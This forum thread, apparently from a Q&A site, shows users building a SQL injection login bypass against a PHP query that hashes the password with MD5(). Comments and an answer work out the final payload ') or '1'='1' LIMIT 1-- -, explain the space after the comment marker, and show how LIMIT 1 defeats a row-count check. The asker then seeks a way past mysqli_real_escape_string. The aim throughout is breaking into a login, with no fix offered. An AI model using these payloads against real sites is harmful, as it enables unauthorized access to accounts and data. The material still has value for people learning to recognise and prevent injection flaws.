Is there any way to add any condition after LIMIT for example the OR or AND?

I am wondering if we can add any query after LIMIT which returns nothing.

for example the query is:

SELECT * FROM table WHERE email = '$email' AND pwd = MD5('$pwd');

and after sql injection the query would be:

SELECT * FROM table WHERE email = '$email' AND pwd = MD5('') or 1 limit 1;
  • 1
    I don't understand the point to search for add OR or AND statement after a LIMIT statement thus you can already do everything into the WHERE. Please be more specific.
    – Xavier59
    Jun 30 '16 at 12:24
  • i just wanted to inject the query in the password field which is converted to MD5() which means that i wanted to inject the query like this ') or 1 limit 1 but the problem is in php: php query is $login = "SELECT fName,lName FROM register WHERE email = '$email' AND pwd = MD5('$pwd')"; . It gives the error that the ') is missing! So i am thinking to add any condition or query to remove that error!
    – Innocent
    Jun 30 '16 at 12:40
  • Isn't SELECT * FROM table WHERE email = '$email' AND pwd = MD5('') or 1;-- enough ? Your getting this error because at the end, your query like you do look like this one : SELECT fName,lName FROM register WHERE email = '$email' AND pwd = MD5('') or 1 limit 1; ') which is wong. Use the mysql comment (--) to escape the end of the query
    – Xavier59
    Jun 30 '16 at 12:49
  • @Xavier59 yeah! you understood what i am saying exactly! The comments -- and /* is also giving the error in the query! The query $exe = select * from table where email='$email' and pwd=MD5('$pwd') is not enough because after executing the query, because mysqli_num_rows($exe) gives the number greater then 0 so the condition get false due to multiple rows selected. Thats why i limited it to 1.
    – Innocent
    Jun 30 '16 at 15:51
  • SELECT * FROM table WHERE email = '$email' AND pwd = MD5('') or 1 limit 1;-- should work. Make sure you let a space after the mysql comment : -- . There is no reason for this query to still returnan error.
    – Xavier59
    Jun 30 '16 at 16:04

This question has been answered in the comment Section, But this is a explanatory Answer for anyone who wants to look at. So, Looking at Code snippet we could actually see

$login = "SELECT fName,lName FROM great WHERE email= '$email' AND pwd = MD5('$pwd')";

As you can see on the pwd = MD5('$pwd') at the end, the Code actually takes a User Inputted Password converts it into MD5 and than compares into the Database. Now, the Plan is to breakout of the pwd in the MYSQL Query. For that, the ') could be supplied so it would look like pwd = MD5('')') in this case the last ') is of no Use and it would give SQL Syntax Error as the Query won't identify two ')') So our next Plan is to comment the last ') out of the Query, for that i had used the Typical Two Hyphens -- - . Now the Magic here is if you supply only -- than the Query at end won't get commented out because it would result into --') Giving you a Syntax Error ! So for that reason, i supplied Intentional space after -- and added another hyphen for demonstration. Because in Many Blackbox SQL Injection cases, you couldn't predict and Exact Syntax error is the only hope, so in this -- - comment the last Hyphen has really no significance but the SPACE between them holds the key to comment ') out from the back .

Now, The query would work as usual and Due to lack of Input Sanitisation we can Always TRUE the query by or '1'='1' . But, that alone won't solve issue as the or '1'='1' would select Every ROW from the database and the code snippet given below does a Additional Check here

            $num = mysqli_num_rows($exe);
            if($num == 1){
                  //You are in

Aha, Now mysqli_num_rows > 1 Which would not let you go to the if part and You would not bypass. So in the Initial Payload, that is the sole reason we are Adding LIMIT 1 to avoiding our rows > 1 .The LIMIT 1 would select first row of their Back-End Database and VOILA you are through.

So Joining all these small pieces, we could construct our Final Payload as ') or '1'='1' LIMIT 1-- - Hence Final Query would be

 $login = "SELECT fName,lName FROM great WHERE email= '$email' AND pwd = MD5('') or '1'='1' LIMIT 1-- -')";

That's it ..! :)

  • @George Timber is there any payload to bypass the mysqli_real_escape_string($conn, MD5($_POST['pwd'])) ? Because the query is converted into MD5 hash.
    – Innocent
    Jul 1 '16 at 12:21

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.